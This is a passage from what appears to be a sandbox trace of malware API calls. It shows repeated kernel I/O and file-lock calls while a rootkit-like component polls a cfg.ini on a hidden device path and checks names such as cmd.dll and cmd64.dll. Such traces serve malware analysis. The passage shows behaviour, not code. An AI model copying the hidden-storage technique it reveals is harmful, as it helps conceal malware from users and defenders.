FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.955] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.955] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.955] KeLeaveCriticalRegion () [0128.955] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.955] KeEnterCriticalRegion () [0128.955] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.955] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.955] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.955] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.955] KeLeaveCriticalRegion () [0128.955] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.955] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.955] KeEnterCriticalRegion () [0128.955] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.955] ExFreePoolWithTag (P=0xfffffa8003c01470, Tag=0x0) [0128.955] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.955] KeLeaveCriticalRegion () [0128.955] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.955] ReleaseMutex (hMutex=0xf0) returned 1 [0128.956] Sleep (dwMilliseconds=0x124f80) [0128.971] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.971] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.971] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.971] KeEnterCriticalRegion () [0128.971] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.971] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.971] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.971] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.971] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.971] IdePortDispatch () returned 0x103 [0128.971] KeWaitForMutexObject () returned 0x0 [0128.971] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.971] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.971] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.971] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.971] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.971] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c01470 [0128.971] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.971] KeLeaveCriticalRegion () [0128.971] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.971] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.971] KeEnterCriticalRegion () [0128.971] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.971] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.971] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.971] KeLeaveCriticalRegion () [0128.972] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.972] KeEnterCriticalRegion () [0128.972] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.972] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.972] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.972] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.972] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.972] IdePortDispatch () returned 0x103 [0128.972] KeWaitForMutexObject () returned 0x0 [0128.972] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.972] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.972] KeLeaveCriticalRegion () [0128.972] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.972] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.972] KeEnterCriticalRegion () [0128.972] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.972] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b76000 [0128.972] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.972] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.972] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.972] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.972] IdePortDispatch () returned 0x103 [0128.972] KeWaitForMutexObject () returned 0x0 [0128.973] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.973] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.973] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.973] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.973] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.973] IdePortDispatch () returned 0x103 [0128.973] KeWaitForMutexObject () returned 0x0 [0128.973] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.973] KeLeaveCriticalRegion () [0128.973] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.973] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.973] KeEnterCriticalRegion () [0128.973] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.973] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.973] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.974] KeLeaveCriticalRegion () [0128.974] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.974] KeEnterCriticalRegion () [0128.974] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.974] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.974] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.974] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.974] KeLeaveCriticalRegion () [0128.974] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.974] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.974] KeEnterCriticalRegion () [0128.974] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.974] ExFreePoolWithTag (P=0xfffffa8003c01470, Tag=0x0) [0128.974] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.974] KeLeaveCriticalRegion () [0128.974] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.974] ReleaseMutex (hMutex=0xf0) returned 1 [0128.974] Sleep (dwMilliseconds=0x124f80) [0128.989] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.989] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.989] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.989] KeEnterCriticalRegion () [0128.989] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.989] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.989] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.989] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.989] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.989] IdePortDispatch () returned 0x103 [0128.989] KeWaitForMutexObject () returned 0x0 [0128.990] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.990] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.990] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.990] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.990] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.990] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c02120 [0128.990] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.990] KeLeaveCriticalRegion () [0128.990] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.990] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.990] KeEnterCriticalRegion () [0128.990] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.990] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.990] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.990] KeLeaveCriticalRegion () [0128.990] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.990] KeEnterCriticalRegion () [0128.990] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.990] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.990] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.990] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.990] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.990] IdePortDispatch () returned 0x103 [0128.990] KeWaitForMutexObject () returned 0x0 [0128.990] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.990] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.990] KeLeaveCriticalRegion () [0128.990] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.990] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.990] KeEnterCriticalRegion () [0128.990] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.991] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b7b000 [0128.991] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.991] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.991] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.991] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.991] IdePortDispatch () returned 0x103 [0128.991] KeWaitForMutexObject () returned 0x0 [0128.991] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.991] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.991] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.991] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.991] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.991] IdePortDispatch () returned 0x103 [0128.991] KeWaitForMutexObject () returned 0x0 [0128.991] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.991] KeLeaveCriticalRegion () [0128.991] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.992] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.992] KeEnterCriticalRegion () [0128.992] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.992] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.992] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.992] KeLeaveCriticalRegion () [0128.992] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.992] KeEnterCriticalRegion () [0128.992] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.992] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.992] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c023d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.992] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.992] KeLeaveCriticalRegion () [0128.992] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.992] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.992] KeEnterCriticalRegion () [0128.992] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.992] ExFreePoolWithTag (P=0xfffffa8003c02120, Tag=0x0) [0128.992] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.992] KeLeaveCriticalRegion () [0128.992] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.992] ReleaseMutex (hMutex=0xf0) returned 1 [0128.992] Sleep (dwMilliseconds=0x124f80) [0129.008] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.008] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.008] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.008] KeEnterCriticalRegion () [0129.008] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.008] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.008] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.008] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.008] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.008] IdePortDispatch () returned 0x103 [0129.008] KeWaitForMutexObject () returned 0x0 [0129.008] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.008] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.008] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.008] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.008] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.008] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7e00 [0129.008] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.008] KeLeaveCriticalRegion () [0129.008] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.008] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.008] KeEnterCriticalRegion () [0129.008] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.008] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.008] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.008] KeLeaveCriticalRegion () [0129.009] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.009] KeEnterCriticalRegion () [0129.009] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.009] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.009] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.009] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.009] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.009] IdePortDispatch () returned 0x103 [0129.009] KeWaitForMutexObject () returned 0x0 [0129.009] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.009] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.009] KeLeaveCriticalRegion () [0129.009] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.009] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.009] KeEnterCriticalRegion () [0129.009] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.009] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b80000 [0129.009] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.009] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.009] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.009] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.009] IdePortDispatch () returned 0x103 [0129.009] KeWaitForMutexObject () returned 0x0 [0129.009] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.009] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.010] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.010] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.010] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.010] IdePortDispatch () returned 0x103 [0129.010] KeWaitForMutexObject () returned 0x0 [0129.010] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.010] KeLeaveCriticalRegion () [0129.010] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.010] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.010] KeEnterCriticalRegion () [0129.010] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.010] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.010] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.010] KeLeaveCriticalRegion () [0129.011] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.011] KeEnterCriticalRegion () [0129.011] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.011] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.011] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.011] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.011] KeLeaveCriticalRegion () [0129.011] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.011] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.011] KeEnterCriticalRegion () [0129.011] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.011] ExFreePoolWithTag (P=0xfffffa800c4f7e00, Tag=0x0) [0129.011] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.011] KeLeaveCriticalRegion () [0129.011] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.011] ReleaseMutex (hMutex=0xf0) returned 1 [0129.011] Sleep (dwMilliseconds=0x124f80) [0129.026] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.026] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.026] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.027] KeEnterCriticalRegion () [0129.027] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.027] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.027] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.027] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.027] KeInitializeEvent (in: 